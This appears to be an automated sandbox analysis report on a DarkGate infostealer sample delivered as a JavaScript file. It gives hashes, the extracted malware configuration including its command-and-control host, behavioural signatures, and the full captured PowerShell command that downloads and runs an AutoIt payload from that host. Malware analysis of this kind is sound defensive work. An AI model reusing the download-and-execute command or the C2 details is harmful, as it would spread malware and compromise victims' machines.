Analysis

  • max time kernel
    139s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-10-2023 16:20

General

  • Target

    31102023_0019_fla.js

  • Size

    135KB

  • MD5

    607c2a744dff9a9724c4633a33a90237

  • SHA1

    0e0a43c6eed546e7e3f3b103dc78d3d898276481

  • SHA256

    a4218e196e98797cf2723e653eac563d824d089df0587e39c3a27ae153ef972b

  • SHA512

    17536531685491f87e9179587f7c368c937625582ae08be3e4a8d4f1a0ece33339095daaeeba1ce4b6201f0e125539f1bad815c13f12d90fead96da8ef897b69

  • SSDEEP

    1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0J:0T9U7hgaX6eerjqlI2IO6Mzqfh

Score
10/10

Malware Config

Extracted

Family

darkgate

Botnet

ADS5

C2

http://sftp.noheroway.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    443

  • check_disk

    true

  • check_ram

    true

  • check_xeon

    true

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    dUGMWnxBxUyxhC

  • internal_mutex

    txtMut

  • minimum_disk

    40

  • minimum_ram

    7000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    ADS5

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_0019_fla.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5064
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msiydguxwlx' -OutFile 'ydguxwlx.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ydguxwlx.au3'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5104
      • C:\tepp\AutoIt3.exe
        "C:\tepp\AutoIt3.exe" ydguxwlx.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:888

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b3sb42ro.zk4.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\ydguxwlx.au3

    Filesize

    493KB

    MD5

    1a580b40d441954f9b5f1febeb37f329

    SHA1

    5fb9ae7685dca8a5fc76f4a42e22f9898d423d6f

    SHA256

    4f5bf06ec47409e15cba34146cf7617deaa9c2b0924bdf84a59d6f4461a98eea

    SHA512

    6a044f3690b8b66a4d28c09f5352392793cce344de26993100e4a7ce77369f5a7d1f9d7f0a74339ee1853c51f855c7336cc3529ca3db4a5e2ca68d899a2a36c3

  • memory/888-29-0x0000000000D40000-0x0000000001140000-memory.dmp

    Filesize

    4.0MB

  • memory/888-30-0x0000000003E90000-0x00000000041BA000-memory.dmp

    Filesize

    3.2MB

  • memory/888-31-0x0000000003E90000-0x00000000041BA000-memory.dmp

    Filesize

    3.2MB

  • memory/5104-2-0x000001637DB50000-0x000001637DB72000-memory.dmp

    Filesize

    136KB

  • memory/5104-10-0x00007FF9D6640000-0x00007FF9D7101000-memory.dmp

    Filesize

    10.8MB

  • memory/5104-11-0x000001637DC20000-0x000001637DC30000-memory.dmp

    Filesize

    64KB

  • memory/5104-12-0x000001637DC20000-0x000001637DC30000-memory.dmp

    Filesize

    64KB

  • memory/5104-26-0x00007FF9D6640000-0x00007FF9D7101000-memory.dmp

    Filesize

    10.8MB